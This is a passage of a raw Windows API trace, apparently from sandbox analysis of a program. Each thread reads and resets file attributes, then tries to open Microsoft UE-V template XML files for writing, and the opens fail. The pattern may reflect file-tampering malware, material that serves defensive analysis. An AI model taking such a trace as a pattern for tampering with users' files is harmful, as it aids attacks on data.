0xffffffff [0175.063] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\EaseOfAccessSettings2013.xml", dwFileAttributes=0x20) returned 0 [0175.063] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2feec18) returned 1 [0175.063] RtlExitUserThread (Status=0x0) Thread: id = 2378 os_tid = 0xf8c [0175.064] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013.xml")) returned 0x20 [0175.066] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml", dwFileAttributes=0x20) returned 0 [0175.066] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.066] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml", dwFileAttributes=0x20) returned 0 [0175.066] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f90ed0) returned 1 [0175.066] RtlExitUserThread (Status=0x0) Thread: id = 2379 os_tid = 0xf90 [0175.067] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013backup.xml")) returned 0x20 [0175.068] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml", dwFileAttributes=0x20) returned 0 [0175.068] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013backup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.068] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml", dwFileAttributes=0x20) returned 0 [0175.068] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3055b48) returned 1 [0175.068] RtlExitUserThread (Status=0x0) Thread: id = 2380 os_tid = 0xf98 [0175.069] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftlync2010.xml")) returned 0x20 [0175.069] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml", dwFileAttributes=0x20) returned 0 [0175.069] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftlync2010.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.070] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml", dwFileAttributes=0x20) returned 0 [0175.070] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcf728) returned 1 [0175.070] RtlExitUserThread (Status=0x0) Thread: id = 2381 os_tid = 0xf9c [0175.071] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win32.xml")) returned 0x20 [0175.072] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml", dwFileAttributes=0x20) returned 0 [0175.072] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.072] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml", dwFileAttributes=0x20) returned 0 [0175.072] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa2138) returned 1 [0175.072] RtlExitUserThread (Status=0x0) Thread: id = 2382 os_tid = 0xfa0 [0175.073] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win64.xml")) returned 0x20 [0175.074] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml", dwFileAttributes=0x20) returned 0 [0175.074] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.074] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml", dwFileAttributes=0x20) returned 0 [0175.074] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa2b38) returned 1 [0175.074] RtlExitUserThread (Status=0x0) Thread: id = 2383 os_tid = 0xfa4 [0175.075] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftnotepad.xml")) returned 0x20 [0175.075] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml", dwFileAttributes=0x20) returned 0 [0175.076] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftnotepad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.076] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml", dwFileAttributes=0x20) returned 0 [0175.076] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcf7c0) returned 1 [0175.076] RtlExitUserThread (Status=0x0) Thread: id = 2384 os_tid = 0xfa8 [0175.077] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2010win32.xml")) returned 0x20 [0175.077] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win32.xml", dwFileAttributes=0x20) returned 0 [0175.077] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2010win32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.078] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win32.xml", dwFileAttributes=0x20) returned 0 [0175.078] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fee048) returned 1 [0175.078] RtlExitUserThread (Status=0x0) Thread: id = 2385 os_tid = 0xfac [0175.079] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2010win64.xml")) returned 0x20 [0175.080] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win64.xml", dwFileAttributes=0x20) returned 0 [0175.080] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2010win64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.080] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win64.xml", dwFileAttributes=0x20) returned 0 [0175.080] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fee978) returned 1 [0175.080] RtlExitUserThread (Status=0x0) Thread: id = 2386 os_tid = 0xee4 [0175.081] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013backupwin32.xml")) returned 0x20 [0175.081] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin32.xml", dwFileAttributes=0x20) returned 0 [0175.082] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013backupwin32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.082] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin32.xml", dwFileAttributes=0x20) returned 0 [0175.082] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f91710) returned 1 [0175.082] RtlExitUserThread (Status=0x0) Thread: id = 2387 os_tid = 0x4d0 [0175.083] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013backupwin64.xml")) returned 0x20 [0175.083] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin64.xml", dwFileAttributes=0x20) returned 0 [0175.083] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013backupwin64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.084] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin64.xml", dwFileAttributes=0x20) returned 0 [0175.084] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f91d40) returned 1 [0175.084] RtlExitUserThread (Status=0x0) Thread: id = 2388 os_tid = 0xc58 [0175.085] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013office365win32.xml")) returned 0x20 [0175.085] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win32.xml", dwFileAttributes=0x20) returned 0 [0175.085] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013office365win32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.085] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win32.xml", dwFileAttributes=0x20) returned 0 [0175.085] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056330) returned 1 [0175.085] RtlExitUserThread (Status=0x0) Thread: id = 2389 os_tid = 0xb0c [0175.087] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013office365win64.xml")) returned 0x20 [0175.087] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win64.xml", dwFileAttributes=0x20) returned 0 [0175.088] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013office365win64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.088] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win64.xml", dwFileAttributes=0x20) returned 0 [0175.088] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3055e28) returned 1 [0175.088] RtlExitUserThread (Status=0x0) Thread: id = 2390 os_tid = 0xc74 [0175.089] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013win32.xml")) returned 0x20 [0175.089] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win32.xml", dwFileAttributes=0x20) returned 0 [0175.089] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013win32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.090] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win32.xml", dwFileAttributes=0x20) returned 0 [0175.090] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fee588) returned 1 [0175.090] RtlExitUserThread (Status=0x0) Thread: id = 2391 os_tid = 0xc8c [0175.091] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013win64.xml")) returned 0x20 [0175.091] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win64.xml", dwFileAttributes=0x20) returned 0 [0175.091] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013win64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.091] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win64.xml", dwFileAttributes=0x20) returned 0 [0175.092] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fee2e8) returned 1 [0175.092] RtlExitUserThread (Status=0x0) Thread: id = 2392 os_tid = 0xc78 [0175.093] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016backupwin32.xml")) returned 0x20 [0175.093] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin32.xml", dwFileAttributes=0x20) returned 0 [0175.093] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016backupwin32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.093] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin32.xml", dwFileAttributes=0x20) returned 0 [0175.093] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f90f80) returned 1 [0175.093] RtlExitUserThread (Status=0x0) Thread: id = 2393 os_tid = 0xa58 [0175.095] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016backupwin64.xml")) returned 0x20 [0175.095] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin64.xml", dwFileAttributes=0x20) returned 0 [0175.096] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016backupwin64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.096] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin64.xml", dwFileAttributes=0x20) returned 0 [0175.096] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f91870) returned 1 [0175.096] RtlExitUserThread (Status=0x0) Thread: id = 2394 os_tid = 0xb00 [0175.097] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016win32.xml")) returned 0x20 [0175.097] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win32.xml", dwFileAttributes=0x20) returned 0 [0175.098] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016win32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.098] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win32.xml", dwFileAttributes=0x20) returned 0 [0175.098] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fee390) returned 1 [0175.098] RtlExitUserThread (Status=0x0) Thread: id = 2395 os_tid = 0xfe8 [0175.102] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016win64.xml")) returned 0x20 [0175.102] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win64.xml", dwFileAttributes=0x20) returned 0 [0175.102] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016win64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.102] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win64.xml", dwFileAttributes=0x20) returned 0 [0175.102] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fedd00) returned 1 [0175.102] RtlExitUserThread (Status=0x0) Thread: id = 2396 os_tid = 0xfe4 [0175.103] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin32.xml")) returned 0x20 [0175.104] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml", dwFileAttributes=0x20) returned 0 [0175.104] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.104] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml", dwFileAttributes=0x20) returned 0 [0175.104] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fedda8) returned 1 [0175.104] RtlExitUserThread (Status=0x0) Thread: id = 2397 os_tid = 0xfec [0175.105] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin64.xml")) returned 0x20 [0175.106] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml", dwFileAttributes=0x20) returned 0 [0175.106] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.107] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml", dwFileAttributes=0x20) returned 0 [0175.107] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2feea20) returned 1 [0175.107] RtlExitUserThread (Status=0x0) Thread: id = 2398 os_tid = 0xff0 [0175.108] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin32.xml")) returned 0x20 [0175.108] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml", dwFileAttributes=0x20) returned 0 [0175.108] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.108] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml", dwFileAttributes=0x20) returned 0 [0175.109] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fedef8) returned 1 [0175.109] RtlExitUserThread (Status=0x0) Thread: id = 2399 os_tid = 0xff4 [0175.110] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin64.xml")) returned 0x20 [0175.110] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml", dwFileAttributes=0x20) returned 0 [0175.110] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.110] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml", dwFileAttributes=0x20) returned 0 [0175.110] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fedc58) returned 1 [0175.110] RtlExitUserThread (Status=0x0) Thread: id = 2400 os_tid = 0xff8 [0175.112] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win32.xml")) returned 0x20 [0175.112] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml", dwFileAttributes=0x20) returned 0 [0175.112] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.112] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml", dwFileAttributes=0x20) returned 0 [0175.112] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3055cb8) returned 1 [0175.112] 